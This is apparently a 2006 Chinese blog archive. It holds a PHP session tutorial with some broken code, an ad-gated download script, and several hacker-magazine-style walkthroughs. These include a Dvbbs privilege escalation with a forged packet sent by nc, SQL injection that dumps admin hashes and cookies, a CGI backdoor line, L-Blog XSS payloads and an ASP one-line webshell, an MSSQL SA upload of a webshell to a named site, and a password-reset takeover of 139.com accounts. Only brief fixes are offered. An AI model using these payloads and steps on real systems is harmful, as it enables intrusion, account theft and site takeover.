在PHP中使用过SESSION的朋友可能会碰到这么一个问题,SESSION变量不能跨页传递。这令我苦恼了好些日子,最终通过查资料思考并解决了这个问题。我认为,出现这个问题的原因有以下几点:
1、客户端禁用了cookie
2、浏览器出现问题,暂时无法存取cookie
3、php.ini中的session.use_trans_sid = 0或者编译时没有打开–enable-trans-sid选项
为什么会这样呢?下面我解释一下:
Session储存于服务器端(默认以文件方式存储session),根据客户端提供的session id来得到用户的文件,取得变量的值,session id可以使用客户端的Cookie或者Http1.1协议的Query_String(就是访问的URL的“?”后面的部分)来传送给服务器,然后服务器读取Session的目录……。也就是说,session id是取得存储在服务上的session变量的身份证。当代码session_start();运行的时候,就在服务器上产生了一个session文件,随之也产生了与之唯一对应的一个session id,定义session变量以一定形式存储在刚才产生的session文件中。通过session id,可以取出定义的变量。跨页后,为了使用session,你必须又执行session_start();将又会产生一个session文件,与之对应产生相应的session id,用这个session id是取不出前面提到的第一个session文件中的变量的,因为这个session id不是打开它的“钥匙”。如果在session_start();之前加代码session_id($session id);将不产生新的session文件,直接读取与这个id对应的session文件。
PHP中的session在默认情况下是使用客户端的Cookie来保存session id的,所以当客户端的cookie出现问题的时候就会影响session了。必须注意的是:session不一定必须依赖cookie,这也是session相比cookie的高明之处。当客户端的Cookie被禁用或出现问题时,PHP会自动把session id附着在URL中,这样再通过session id就能跨页使用session变量了。但这种附着也是有一定条件的,即“php.ini中的session.use_trans_sid = 1或者编译时打开打开了–enable-trans-sid选项”。
用过论坛的朋友都知道,在进入论坛的时候,往往会提示你检查Cookie是否打开,这是因为大多数论坛都是基于Cookie的,论坛用它来保存用户名、密码等用户信息,方便使用。而且很多朋友都认为Cookie不安全(其实不是这样),往往禁用它。其实在PHP程序中,我们完全可以用SESSION来代替Cookie,它可以不依赖于客户端是否开启Cookie。
所以,我们可以抛开cookie使用session,即假定用户关闭cookie的情况下使用session,其实现途径有以下几种:
1、设置php.ini中的session.use_trans_sid = 1或者编译时打开打开了–enable-trans-sid选项,让PHP自动跨页传递session id。
2、手动通过URL传值、隐藏表单传递session id。
3、用文件、数据库等形式保存session_id,在跨页过程中手动调用。
途径1举例说明:
s1.php
<?php
session_start();
$_SESSION[’var1’]=”中华人民共和国”;
$url=”<a href=”.”"s2.php”>下一页</a>”;
echo $url;
?>
s2.php
<?php
session_start();
echo “传递的session变量var1的值为:”.$_SESSION[’var1’];
?>
运行以上代码,在客户端cookie正常的情况下,应该可以在得到结果“中华人民共和国”。
现在你手动关闭客户端的cookie,再运行,可能得不到结果了吧。如果得不到结果,再“设置php.ini中的session.use_trans_sid = 1或者编译时打开打开了–enable-trans-sid选项”,又得到结果“中华人民共和国”
途径2举例说明:
s1.php
<?php
session_start();
$_SESSION[’var1’]=”中华人民共和国”;
$sn = session_id();
$url=”<a href=”.”"s2.php?s=”.$sn.”">下一页</a>”;
echo $url;
?>
s2.php
<?php
session_id($_GET[’s’]);
session_start();
echo “传递的session变量var1的值为:”.$_SESSION[’var1’];
?>
隐藏表单的方法基本原理同上。
途径3举例说明:
login.html
<!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN”>
<html>
<head>
<title>Login</title>
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″>
</head>
<body>
请登录:
<form name=”login” method=”post” action=”mylogin1.php”>
用户名:<input type=”text” name=”name”><br>
口 令:<input type=”password” name=”pass”><br>
<input type=”submit” value=”登录”>
</form>
</body>
</html>
mylogin1.php
<?php
$name=$_POST[’name’];
$pass=$_POST[’pass’];
if(!$name || !$pass) {
echo “用户名或密码为空,请<a href=”login.html”>重新登录</a>”;
die();
}
if (!($name==”youngong” && $pass==”123″) {
echo “用户名或密码不正确,请<a href=”login.html”>重新登录</a>”;
die();
}
//注册用户
ob_start();
session_start();
$_SESSION[’user’]= $name;
$psid=session_id();
$fp=fopen(“e:\tmp\phpsid.txt”,”w+”;
fwrite($fp,$psid);
fclose($fp);
//身份验证成功,进行相关操作
echo “已登录<br>”;
echo “<a href=”mylogin2.php”>下一页</a>”;
?>
mylogin2.php
<?php
$fp=fopen(“e:\tmp\phpsid.txt”,”r”;
$sid=fread($fp,1024);
fclose($fp);
session_id($sid);
session_start();
if(isset($_SESSION[’user’]) && $_SESSION[’user’]=”laogong” {
echo “已登录!”;
}
else {
//成功登录进行相关操作
echo “未登录,无权访问”;
echo “请<a href=”login.html”>登录</a>后浏览”;
die();
}
?>
同样请关闭cookie测试,用户名:youngong 密码:123 这是通过文件保存session id的,文件是:e: mpphpsid.txt,请根据自己的系统决定文件名或路径。
至于用数据库的方法,我就不举例子了,与文件的方法类似。
总结一下,上面的方法有一个共同点,就是在前一页取得session id,然后想办法传递到下一页,在下一页的session_start();代码之前加代码session_id(传过来的session id);
分类 : 技术文摘 | 发表时间 07-02-2006
关键词: cookie, hp, ie, php, TM, 代码, 协议, 原理, 安全, 密码, 手动, 数据库, 服务, 服务器, 注册, 测试, 浏览器, 程序, 自动, 论坛, 资料, 问题
一些下载网站总是诱惑用户先点击广告然后才能显示真实的软件下载地址,究竟是怎么实现的呢?我找了一个javascript代码,大家可以看看:
var search = Name + ”=”
var returnvalue = ”";
if (document.cookie.length > 0) {
offset = document.cookie.indexOf(search)
if (offset != -1) { // if cookie exists
offset += search.length
// set index of beginning of value
end = document.cookie.indexOf(“;”, offset);
// set index of end of cookie value
if (end == -1)
end = document.cookie.length;
returnvalue=unescape(document.cookie.substring(offset, end))
}
}
return returnvalue;
}
</script>
<!– 广告代码开始 –>
<div id=”yAd”>
<a href=’http://www.linwan.com’ target=_blank>点此一下就能显示下载地址</a>
</div>
<!– 广告代码结束 –>
<div id=”oUrl” style=”display:’none’”>
<script language=”<I><I>javascript</I></I>”>function JyDownH(htmlurl){var newwin=window.open(htmlurl,”,’toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no’);return false;}
</script>
<A href=’http://www.linwan.com/soft/huaidan.exe’ target=_blank>真实下载地址</A>
</div>
<!– 结束 –>
分类 : 网络日志 | 发表时间 21-01-2006
关键词: asp, bbs, cookie, ie, sp2, xp, 下载, 入侵, 分析, 动网, 命令, 安全, 安装, 密码, 工具, 提高, 搜索, 攻击, 数据库, 新闻, 服务, 注册, 测试, 浏览器, 漏洞, 程序, 端口, 网站, 网络, 补丁, 论坛, 资料, 软件, 链接, 黑客
如今在网络中,论坛已经成为互联网中虚拟社会的基础,它的出现为人们的交流沟通起到了更好的帮助作用。但是正是由于论坛程序的开放性,在方便用户的同时,也为黑客留下了一道“邪恶之门”。知己知彼方能百战不殆,本期我们就来分析黑客如何利用论坛漏洞获得管理员密码,让我们以后能够加强论坛的安全性。
入侵实战
自从2004年动网论坛7.0.0 SP2以下的所有版本被发现存在上传漏洞以后,又出现多个高危漏洞。就在今年,动网论坛又相继出现多个重大漏洞。当最新版本中的admin_postings.asp文件被发现存在注入漏洞后,官方论坛却没有发布相应的补丁,可能是官方认为该漏洞利用起来比较困难,要前台管理员权限才能利用。
●前台权限提升
首先我们打开一个搜索引擎的网页窗口,来搜索一个使用动网论坛的网站,在输入框中键入“Powered By :Dvbbs Version 7.0.0 SP2”进行搜索。下面从搜索结果中找到一个使用该版本动网论坛的网站后,点击链接进入这个论坛。我们需要注册一个账号,注册完成后进入论坛。首先点击工具栏中的“用户控制面板”按钮,接着点击工具栏的“资料修改”按钮,进入用户的“基本资料修改”窗口。在“论坛头像选择”选项中任意选择一个头像,
现在是非常重要的一步,在任意的选择了一个头像以后,先不要点击“更新”按钮,我们要通过抓包工具来抓取浏览器提交的数据。今天,我们使用的工具是WinSock Expert,点击工具栏的“打开进程”按钮,在弹出的“选择监听的程序”窗口中首先找到“iexplore.exe”这个主程序,然后点击前面的“+”,在扩展列表中选择“基本资料修改”的网页,然后点击下面的“打开”按钮程序就会打开一个监听窗口。
现在,切换到“基本资料修改”窗口,点击“更新”按钮,很快在WinSock Expert的监听窗口就可以看到浏览器提交到网站的数据。这么多的数据,只有其中的一部分对我们有用,一般来说,都是最前面的用于提交数据的POST那部分数据有用。这里我们分别截取“POST”和“SEX”这两部分数据即可。下面将截取的数据复制到一个文本编辑器中。这里需要提醒大家注意,“POST”这组数据里面最后还有一行空格,这行空格也一定要复制过去,不然会出错。
接下来我们就要讲解如何用这些截取的数据来提升注册账号的管理权限,这需要对上面截取的数据进行新的构造,这里主要是针对空格下面的数据进行修改。我们首先找到myface=Images%2Fuserface%2Fimage4.gif这个地方,在它的后面直接添加以下的部分:
|||32|||32|||2003-12-30%2016:34:00|||2005-6-19%2018:04:06|||25|||0|||管理员 |||1||||||120|||115|||28|||0||||||220.166.2.113|||0|||0|||0||||||0||||||level10.gif||||||r84y6115O3q4tQFJ|||0|0|0%20||||||Dvbbs
这里的“61.149.52.87”是我们当前的IP地址,用户在进行测试的时候,就要将它更换为自己本机当前的IP地址。另外,还要修改的地方是r84y6115O3q4tQFJ这个密码部分,它也可以更换为用户自己的密码。密码的内容在截取的“POST”这段数据中,找到“POST”数据的最后一部分Cookie中的password,后面接着的数据就是用户的密码。
修改完这一部分以后,工作还没有全部完成,因为我们改动了原来的数据包大小,那么我们就要对389这个数值进行相应的改动。首先计算出后来添加的数据大小,然后加上以前的389,就得到了现在的数据大小588。
全部修改完成以后,就可以通过NC将修改后的数据进行提交了。首先需要将修改后的数据保存到一个TXT格式的文本文件中,然后将这个文本文件存放到和NC同一个目录下,接着用NC来进行提交命令:nc -vv www.···.com 80<cs.txt我们这里对提交的命令进行一下解释,80是网站提供Web服务的端口,而后面的cs.txt就是刚刚修改完成的抓包数据,然后按回车键进行提交。提交完成后回到目标网站,先退出再登录,登录完成后发现账号的权限已经有了变化,已经变成前台管理员的权限。至此,前台的权限提升已经完成了。
●后台权限提升
既然已经获得了前台管理员的权限,现在就可以开始进行后台权限的提升了。下面的权限提升我们就不通过手工操作了,而是直接通过一款权限提升工具动网利用程序来实现。这款工具的使用条件就是要用户的账号拥有其他的管理员功能才行。首先在论坛地址、用户名、密码处输入相应的选项,然后点击“登录”按钮登录到目标论坛。成功登录以后,选择“暴后台”选项,然后点击“我要暴了”按钮,出现结果后,点击最后一页,就会得到管理员的账号和密码.
攻击后果以及防范
鉴于现在我们所使用的论坛程序,都是从网上下载的现成的论坛程序,所以为了更好地保证论坛的安全,用户应该及时了解所使用的论坛可能存在的安全隐患,并及时安装该论坛程序官方网站提供的漏洞补丁。在官方还没有提供补丁的情况下,用户可以根据漏洞的描述,自行对存在漏洞的网页进行修复,比如我们今天所利用的这个漏洞,主要是由于字符过滤不严造成的,用户可以通过修改数据库等方法进行防范,不过还是建议用户直接在reg.asp和mymodify.asp文件中加入对相应变量的“|”符号进行过滤,比如:
face=Dv_FilterJS(Replace(face,”‘”,”"))
face=Replace(face,”..”,”")
face=Replace(face,”\”,”/”)
face=Replace(face,”^”,”")
face=Replace(face,”#”,”")
face=Replace(face,”%”,”")
face=Replace(face,”|”,”")
由于一个网站往往由多套系统构成,比如新闻系统、软件下载系统、论坛系统等等。所以其中任意的一个系统的漏洞,都可能威胁到这个网站的安全。总之,论坛系统的安全对整个网站的危害是极大的,管理员一定要提高警惕才行。
分类 : 技术文摘 | 发表时间 17-01-2006
关键词: asp, bbs, cookie, data, hp, ie, md5, php, qq, sp1, sp2, sql, TM, 下载, 免费, 入侵, 动网, 后门, 安全, 密码, 工具, 攻击, 数据库, 显示, 服务, 服务器, 注册, 浏览器, 漏洞, 破解, 程序, 端口, 维护, 网站, 网络, 记事本, 论坛, 软件, 错误, 问题, 黑客
目前网上有种新的趋势,黑客们的攻击目标开始从网站延伸到论坛和聊天室及留言板等公共场所,而许多用户的论坛密码竟然与E-mail和QQ的密码完全相同,因此对大家的网络安全威胁非常大。换个角度来说,黑客们通过入侵这些地方,可以得到更高的权限。比如通过80端口进行渗透入侵,甚至于还可以得到论坛和聊天室、留言板等服务主机的最高权限,是不是很可怕?许多人以为只有黑客高手才能做到这一点,其实不然,只要简单的几步,连菜鸟都能得到论坛或聊天室及留言板的一切!本文将以常见的论坛为例,谈谈主要的论坛攻击方法和防范手段。
针对论坛的攻击手段
第一招:霸王硬上弓破解论坛数据库
目前很多国内论坛都采用了动网先锋引擎(一款由ASPSKY.NET开发和维护的asp论坛引擎)。要想控制整个论坛就得有管理员密码,怎样才能得到动网论坛的管理员密码呢?黑客常用的招数之一是先获得动网论坛的数据库文件,然后再破解数据库中的管理员密码,不过该数据库文件中的密码是用 MD5 加密的,所以要使用工具软件进行破解。举个例子,黑客会可以先猜一下数据库文件存放在哪个目录里,如果猜对的话下载数据库的成功率就比较高了。一般说来,管理员都有个习惯,就是给数据库文件存放的目录起个好记的名字,如data、 database 、bd、 mdb 等。所以黑客们可以在浏览器中输入:http://www.target.com/database或http: //www.target.com/mdb或者是http://www.target.com/db试试,如果显示“HTTP错误404-找不到文件”,说明对方没有这个目录,再换一个目录名试试,假设你输入http://www.target.com/data,显示“HTTP错误403-禁止访问”,则说明对方有这个目录,但是不允许我们浏览该目录,这样就有希望了!
下一步只要有办法找到数据库文件并下载下来就有希望得到对方的管理员密码。比方说,黑客可以使用漏洞扫描器X-SCAN扫描目标,看是否有漏洞,如果目标做了端口过滤,只开了80端口,我们可以这样试试:把一些常用的数据库地址如data.mdb、db.mdb、database.asp等添加到X-Scan的CGI数据库中,或者用一些黑客字典来生成数据库地址,然后单独作一个数据库,把它添加到X-Scan的CGI数据库中。然后只扫描 CGI漏洞,过一段时间扫描完毕,假设显示的扫描结果为“/data/database.asp”,就表示我们成功地扫描到了数据库文件。现在用下载工具把数据库下载下来即可,然后把文件 扩展名改为.mdb。接下来就可以使用MD5的暴力破解程序和字典解出密码。不要小瞧了这个办法,许多人就是这样破解了你的论坛管理员密码!
第二招:温柔一刀成为论坛管理员
仍旧以动网先锋论坛为例。最近该论坛出现一个漏洞,使得普通用户可以轻松地获得论坛中任意用户的密码,包括管理员在内!由于其tongji.asp文件没有过滤用户提交SQL查询的输入,导致远程攻击者可以利用这个漏洞进行SQL攻击,进而威胁论坛或服务器安全。注意,该手段对DVBBS VER 6.0.0及6.0.0 SP1、SP2都有效,对低版本的动网论坛也有效,而且无论数据库是ACCESS还是MS SQL都通吃。
攻击方法为:找到你的目标论坛,然后输入其网址,假设为http: //www.target.com/asp/dvbbs/index.asp,然后查询管理员的名字,每个论坛中都有这样的人,记住该人的论坛ID。接着在浏览器地址栏中输入:http://www.target.com/dvbbs/tongji.asp?orders=2&N=10,注意“N =”后面你可以随意写上任何数字,它表示你想查询几个论坛用户,回车即可看到该论坛的用户名。看到其中的管理员的名字了吗?OK,接下来在地址栏中输入“http://www.target.com/dvbbs/tongji.asp?orders=2&N=10% 20userclass,”,这样就会查到这些人在论坛中的身份,注意其中的管理员身份的人,他具有最高权限,黑客的目标就是他。下一步,请在地址栏中输入“http://www.target.com/dvbbs/tongji.asp?orders=2&N=10% 20userid,”,回车后在你看到的窗口中记住管理员的ID在论坛中是第几位注册用户,假设为1。再下一步,在地址栏中输入“http: //www.target.com/dvbbs/tongji.asp?orders=2&N=10%20userpassword,”,这样你就会看到论坛中用户的密码,可惜是经过MD5加密处理的,但这已经足够了。最后再输入“http: //www.target.com/dvbbs/tongji.asp?orders=2&N=10%20usercookies,”,回车后在出现的窗口中记下管理员的usercookies的值,一般为0。好了,到现在黑客就得到管理员的Cookies的内容了,他可以通过在本机中伪造管理员的Cookies来入侵论坛。如果你输入“http://www.target.com/dvbbs/tongji.asp?orders= 2&N=10%20quesion,”,还可以得到论坛中用户忘记密码时的密码提示问题,输入“http: //www.target.com/dvbbs/tongji.asp?orders=2&N=10%20answer,”可以得到他的问题答案(也是MD5加密的)!
接下来在该论坛新注册一个新用户,然后用Cookies管理软件(如iecv)改造自己在该论坛的Cookies。其实,这一步的目的就是通过 Cookies来让论坛以为你就是管理员,因为论坛判定是否是管理员的主要方法就是通过论坛ID和密码来实现的,而Cookies中记录的正是论坛ID和密码,当然这个密码是加密存放在Cookies中的。
运行Cookies管理软件iecv,选择“View”菜单下的“Obsolete cookie file”,就可以看到你的电脑中的Cookies文件了。由于你是新注册的论坛ID,所以在iecv的主界面的最开头就可以看到该论坛的Cookies 文件,在它前面打上“√”,然后右键单击界面中央的aspsky,选择弹出菜单中的“编辑Cookie的内容”,然后就可以编辑你的 Cookies内容了,把里面的内容替换为你刚刚查到的内容即可。最后关闭该软件,并关闭浏览器,重新输入该论坛的地址,进入后黑客就会成为该论坛的管理员了!此时这个论坛就在黑客的掌握之中了,干什么都可以随心所欲了!
第三招:鱼目混珠冒名发言
举个例子,黑客可以在打开记事本后按下tab键或CapsLock+Tab键,这样就会形成一个特殊的空格。复制该空格,用他想冒名发言的用户名加上该空格注册一个新用户,这样就会成功注册一个和对方一样的名字,接下来就可以冒名发言了,稍不留意别人就会上当。形成特殊空格还可以采用区位输入法输入 aaaa或aaab或aaac。另外在html标签里还可以使用 (就是显示空白内容的意思)制造一个特殊的空格。用区位输入法输入的aaaa/aaab/aaac在ASP编写的程序里冒名的成功率极高,而tab键和制造的特殊空格在php程序里成功率更高些。更可怕的是,在wdb论坛和ibb论坛,用Tab键构造的特殊用户名可以取得和原用户相同的权限。如果原用户名是管理员,那黑客构造的这个冒名用户也会变成管理员!
第四招:暗渡陈仓形成网页后门
大家知道,在cgi或perl程序里如果写入“system @ARGV;#”(注意输入时没有引号),就会形成一个有趣的网页后门。在IE地址栏中输入http://ip/*.pl?dir就会看到网站的物理目录。以网上非常流行的Agbii免费cgi留言本为例,该留言本里的留言是以第n条留言的数目、用户名、标题和内容等等来排列的,而且留言都是按照顺序排放在一个固定目录data/用户名下面的。说起来好像很复杂,让我们来看图7,假设这是黑客在Agbii免费cgi留言本中的留言,它是该留言本中的第 14条留言,假设其注册的用户
分类 : 技术文摘 | 发表时间 06-01-2006
关键词: asp, ati, blog, cookie, data, ie, TM, webshell, xp, 下载, 免费, 动网, 友情链接, 数据库, 注册, 漏洞, 编码, 网站, 补丁, 链接, 错误, 问题
Author:lake2( http://lake2.0×54.org )
Date:2005-12-29
L-Blog是由 Loveyuki 自主开发的基于 ASP+Access 的小型单用户BLOG,好像网上用的比较多,主要是免费的(呵呵,向Loveyuki致敬)。昨天寝室断网了,闲着没事干,就把以前下载的L-Blog V1.08 (SE) Final版本拿来看,结果还真发现了几个问题。
1、L-Blog Cross-Site Scripting Vulnerability
这是个跨站漏洞,好像HaK_BaN很早就发现并通知了官方,所以问题已经修复。但是我下的那个版本却存在,所以还是要写出来J
问题存在于申请友情链接那里,对提交的网站名称没有进行HTML编码就直接写入数据库,管理员浏览读出的时候也没有进行编码,造成跨站脚本漏洞。
怎么利用呢,盗管理员Cookies?太麻烦,其实可以直接用javascript把页面转向到提升一般用户为超级管理员的链接。
呵呵,那就注册个帐号先,然后记住帐号的id,然后构造语句咯。
先看看把一般用户提升成超级管理员的链接,http://localhost/L-Blog/admincp.asp?action=member&type=editmem&memID=2&memType=SupAdmin,嗯我们可以提交<script>location.href=” admincp.asp?action=member&type=editmem&memID=2&memType=SupAdmin”</script>达到转向的目的。参数memID就是你要提升权限的用户id,这里我的id是2。
且慢,这里有两个问题,第一是数据库Blog_links表里的Link_Name字段最多放50个字符;第二是如果转向管理员会发现不对劲哦。所以要用拆分字符分次提交,而且使用框架让管理员看不到。
算了一下,至少要分四次提交,看exploit:
<script>a=”<iframe src=admincp.asp?actio”</script>
<script>a+=”n=member&type=editmem&memID=”</script>
<script>a+=”2&memType=SupAdmin width=”</script>
<script>a+=”0 height=0>”;document.write(a);</script>
呵呵,然后就等着管理员去看链接验证咯。要是等不及了可以想办法让他去看,看你的社会工程学水平了。
漏洞修补问题,最简单就是去官方下补丁。
2、L-Blog File List / Delete with SuperAdmin Vulnerability
通过前面的漏洞我们可以成为blog管理员,现在我们得想办法拿webshell啊。呵呵,这个时候用这个漏洞最好不过了。好像还没人公布的说。
在附件管理选浏览all_files里的文件,看它的URL:http://localhost/L-Blog/admincp.asp?action=attachment&foldername=All_Files,嘿嘿问题就出在参数foldername,没有过滤.和/,那就可以跨目录的哦。用这个url看看http://localhost/L-Blog/admincp.asp?action=attachment&foldername=..,呵呵,怎么样,blog根目录文件出来了,可以随便删除文件的哦。
利用这个漏洞我们可以任意查看网站各目录的文件,不过你要猜到文件夹才能浏览,L-Blog的数据库放在blogdata下,看看咯:http://localhost/L-Blog/admincp.asp?action=attachment&foldername=../blogdata
如果它的数据库是mdb,那就下载之,如果改成了asp/asa,那就请你看第三个漏洞哈。
这个漏洞的修复就是修改文件admincp.asp,只要把变量Request.QueryString(“filename”)里的“.”过滤就行了。
3、L-Blog .asp/.asa DataBase Execute ASP Code Vulnerability
L-Blog的默认数据库名字是L-Blog.mdb,但是很多站长应该会改名称和后缀,一般改为asp或者asa,呵呵,如果改了,那站就完咯。
L-Blog.mdb里面有一个貌似防下载的表aNotDownload,其实一点用都没有,就算你改了后缀照样可下载。当然不去下载它,我是要拿webshell。
现在就要向数据库写小马咯。
随便找个没有过滤html编码的地方,就找修改一般设置,Blog名称,填<%execute(request(“x”))%>,然后再访问数据库,看看是不是有类型不匹配错误,ok,搞定!
漏洞的修复也简单,随便找个动网的数据库,找到notdown表导出到L-Blog的数据库中,呵呵,然后你再访问数据库试试。世界清静了……
分类 : 技术文摘 | 发表时间 05-01-2006
关键词: asp, cookie, ie, md5, mssql, pr, sql, webshell, 代码, 入侵, 兼容, 分析, 命令, 图片, 密码, 数据库, 新闻, 服务, 服务器, 木马, 测试, 浏览器, 程序, 维护, 网站, 自动, 访问量, 问题, 黑客
想必大家都知道MSSQL中SA权限是什么,可以说是至高无上。黑客防线前几期
都曾经提到过它,也谈了它的危害,今天我就它的危害再谈点儿。我所讲的是配合NBSI上传功能得到WebShell。在讲之前先说几个条件,否则得到Shell是有难度的。
1.存在SQL注入,并且数据库类型是MSSQL。
2.连接数据库的权限必须是SA。
3.后台必须有文件上传的程序。
好了,我们找到一个网址http://www.69369.com/fangchan/listpro.asp?id=53,用NBSI一会就一目了然了。
很好,数据库类型是MSSQL,权限是SA,再看看第三个条件满足不满足。找到页面中的文章(新闻),看看里面的图片的地址是什么。好!一看就明白了http://www.69369.com/admin/uploadpic/2005042823082994329.gif,你明白了吗?特别是2005042823082994329.gif 这下我们敢肯定后台有上传文件的功能了。下面做什么呢?晕,找出该网站所在的路径呀。这个嘛就得全靠NBSI的NB Commander(NB Tree_List)功能了(在这里我推荐大家用NB Commander,为什么呢?看完文章就知道了),不过找出网站所在的真实路径需要花一定的时间,那就看你有没有耐心了。我敢说只要有耐心,肯定能找出网站所在的真实路径。这里我找到了这个站点所在的路径D:\96369,接着就是后台了,很快就得到Admin/login.asp,接下来就是账号和密码的猜解了。不过我这次猜解出现了问题。说什么也弄不出他的账号和密码,难道都是空的?我不相信,就试着登录了一下,结果失败了。于是从这开始,NB Commander功能就显得非常重要了(因为大家都知道,列目录NB Command和NB Tree_List都能实现),我找到文件conn.asp,用type D:\96369\admin\logining.asp命令看了看源代码。
够狠吧!读了读代码没有问题呀!就是用的admin表字段也一样,不多说了,谁能知道其中的原因?请告诉俺一下,也让俺这只菜鸟走出困惑。进不了后台怎么上传图片呢?这里我用NBSI的上传功能,我试过了,没有成功。因为我传上去后,看到代码每行都重复三次,也不知是为什么,就是用臭要饭的Getwebshell也是同样的结果。
我想有了,看看它的Session是怎么验证的,又是一个type D:\96369\admin\quanxian.asp。通过分析很快就明白了,它给Session(“wsl”)赋了一个值为1,哈哈!我写了一个非常简单的程序。用NBSI的上传功能传了上去,我想不管重复几次都是正确的(这里你又会想到什么呢?如果密码是MD5的,我们没有必要去爆破了,弄个session就ok了),传上去保存为1.asp,然后我访问http://www.69369.com/admin/1.asp,接着访问http://www.69369.com/admin/admin_index.asp,OK,Very Good。就这样进入了后台。本地测试。
小提示:Session变量和cookies是同一类型的。如果某用户将浏览器设置为不兼容任何cookie,那么该用户就无法使用这个Session变量! 当一个用户访问某页面时,每个Session变量的运行环境便自动生成,这些Session变量可在用户离开该页面后仍保留20分钟!(事实上,这些变量一直可保留至“timeout”。“timeout”的时间长短由Web服务器管理员设定。一些站点上的变量仅维持了3分钟,一些则为10分钟,还有一些则保留至默认值20分钟。)所以,如果在Session中置入了较大的对象(如ADO recordsets,connections, 等等),那就有麻烦了!随着站点访问量的增大,服务器将会因此而无法正常运行!
因为创建Session变量有很大的随意性,可随时调用,不需要开发者做精确地处理,所以,过度使用session变量将会导致代码不可读而且不好维护。
这样我找到上传图片的地方,把asp木马改成.gif传了上去,记住了上传后的名字,这里是uploadpic\20056171430123.gif,那么你会想到什么呢?哈哈我想起来了,把图片copy成.asp的,或者重命名成.asp的。
好了,到这里我们的马就算是上去了,至于以后的事情就不提了。
总结:SA的确给我们带来了很大危害,所以程序员在连接MSSQL数据库的时候千万不能用它,否则服务器成为肉鸡的可能性非常非常的大。还有,MSSQL 的扩展存储功能,用不到它就删除,留着就成了黑客的利器。
作者:红色银狐 文章来源:黑客防线
分类 : 技术文摘 | 发表时间 03-01-2006
关键词: asp, ati, blog, bug, cookie, ie, TM, 代码, 免费, 入侵, 分析, 博客, 图片, 域名, 密码, 提高, 搜索, 数据库, 日志, 注册, 测试, 浏览器, 漏洞, 登陆, 自动, 访问量, 邮箱, 链接, 问题
等了多久终于等到今天,www.139.com终于改版,以前我给他们找出的BUG,现在差不多修复了,想了想这篇文章也该面世了。(为了不影响139博客的正常运行,一直拖到现在)
这个博客是多用户的,而且用户还蛮多的,主要消费方式以金币为主。可以用金币来购买好看的模板及魔法表情。下面请看具体的对139博客的分析:
1、免费使用收费模板。
在后台里面有个设置博客模板的选项,我超初购买了一个免费模板。在后台进行设置时习惯性的查看了他的网页源代码。看了一下,是有javascript为主的,而且有些重要的部分进行了了加密。我试着在“使用”那张图片上右击,通过属性得到了他的文件名(b-65.23-ues.jpg)。然后再在源代码搜索“b-65.23-ues.jpg”,我得到了如下代码:
<A href=’#’ onclick=’UesClick(2)’><IMG height=’23′ src=’../../Images/icon/b-65.23-ues.jpg’ width=’65′ border=’0′></A>
意思是:单击时直接调用UesClick()函数,并且值为2(有点兴奋了),再搜索了UesClick,得到如下代码:
<script language=”javascript“>
function UesClick(Str)
{
if(confirm(‘你确认使用这个模板吗?’))
{
window.location.href=”bloginfo/UserTemplate.aspx?TempId=”+Str+”&Ac=Ues”;
return true;
}
else
{
return false;
}
}
</script>
没有加密,通过他标明的“你确认使用这个模板吗?”我知道他是作用,其实就是我们费尽心思想得到的。跟这段代码后面的是相应的“取消设置模板”和“删除模板”,嘻嘻!仔细看看,刚才onclick=’UesClick(2)’传递过来的值被 Str 接收了,接着 Str 出现在window.location.href=”bloginfo/UserTemplate.aspx?TempId=”+Str+”&Ac=Ues”;语句中,也就是说把 Str 的值赋给TemId,用的字符链接实现的,那么刚才的传过的值2,不就变成了。bloginfo/UserTemplate.aspx?TempId=2&Ac=Ues,那么加上前面的。链接到一起就成了http://www.139.com/Home/bloginfo/UserTemplate.aspx?TempId=2&Ac=Ues,这是一个URL地址。于是我试着在IE里打开这个链接,结果弹出“使用模板成功”,我的推测被充分的证明了。再想想,我刚才设置的是使用第二个模板,如果我要使用第三个啦,于是我把TempId的值改为了3,http://www.139.com/Home/bloginfo/UserTemplate.aspx?TempId=3&Ac=Ues,再打开,同样成功了。
2、高度危险的跨站漏洞及免费使用收费魔法表情
我在发表日志的时候,是允许通过使用HTML代码的。于是我想,既然<>中的内容都能编译,那么我写成<script>应该也能被编译,于是我在日志里加入了一句<script>alert(‘abc’);</script>,浏览日志,弹出abc对话框,又一次成功了。到别人日志里发表评论也能使用,于是我到别人日志发表的评论的时候,我写了一句<meta http-equiv=”refresh” content=”5;url=http://XXX.139.com”>,5秒后自动转到XXX.139.com。**嘿嘿,提高访问量**。试想如果不坏好意的人写一些不良代码那么造成的后果是无法想像的。139博客,拥有那么大的用户组。后和管理员取得联系,现在已经修复了。
他的魔法表情是也是一个javascript也调用的。不过这次调用好像是一个XXX.js文件,看了一下几个页面的源代码嘛。都调用了那个XX.js的文件,也就是说我们随便那个页面执行某一个魔法表情对应的javascript,仍然会被执行,而且还是在打开日志是首先执行,因为他要先编译,于是给某些文字加上javascript链接,打开日志成功。嘿嘿
3、登陆任何的日志(包括管理员)
通过找回密码来实现。139博客提供两种密码找回方式,一种是通过保密邮箱,一种是通过提示问题。而绝大部分用户是通过设置的是通过保密邮箱来找回丢失的密码。因为在通过提问找回,是属于选填部分的。
在知道用户名以及别人注册时填写的邮箱地址情况下,是可以找回成功的。我试一下,提示成功,新密码已经发送到邮箱中。还有一个链接返回首页的。问题就出在这里了。系统在发送随机密码到邮箱时,已经把新密码写入Cookies中,也就是说我们只要点返回首页,就已经登陆成功了。可以进行一切操作。虽然这方法能在不知道密码的情况下登陆成功。可那必须得知道用户名及邮箱地址。用户名好说,就是你的二级域名名,可邮箱地址就不得知了。~~不要灰心哦。我无意间注意到IE地址栏的URL。http://www.139.com/Home/Desktop/deskfindpwdok.aspx?result=ok&user=XXX,其中,XXX就是你刚才找回密码的用户名,灵感来了。试着把他为别人的。我直接拿的管理员的来做的测试。把XXX改为了master,点一下转到,仍然提示成功。接着点返回首页,一看,果然登陆了管理员的日志,什么功能都有。于是呼。登陆任何日志也成功了。
方法:随便注册一个用户,通过邮箱找回密码,更改找回的用户名,执行后返回首页登陆成功。
4、自己给自己添加金币
这个主要利用了cookies修改器来实现的。一笔代过吧。用能修改cookies的浏览器,登陆你的日志。你会发现其实cookies值是有一个money= 后面的就是你现在的金币,只要把其他的值改为你想的金币数量,必须是数值型。嘿嘿。然后再随便发表篇日志或者评论,更新一下数据库。。。接下来。。金币就是你的了。。。。
PS:还有一些细小的BUG就不写出来了。浪费大家时间。非常欢迎大家和我交流,共同学习。
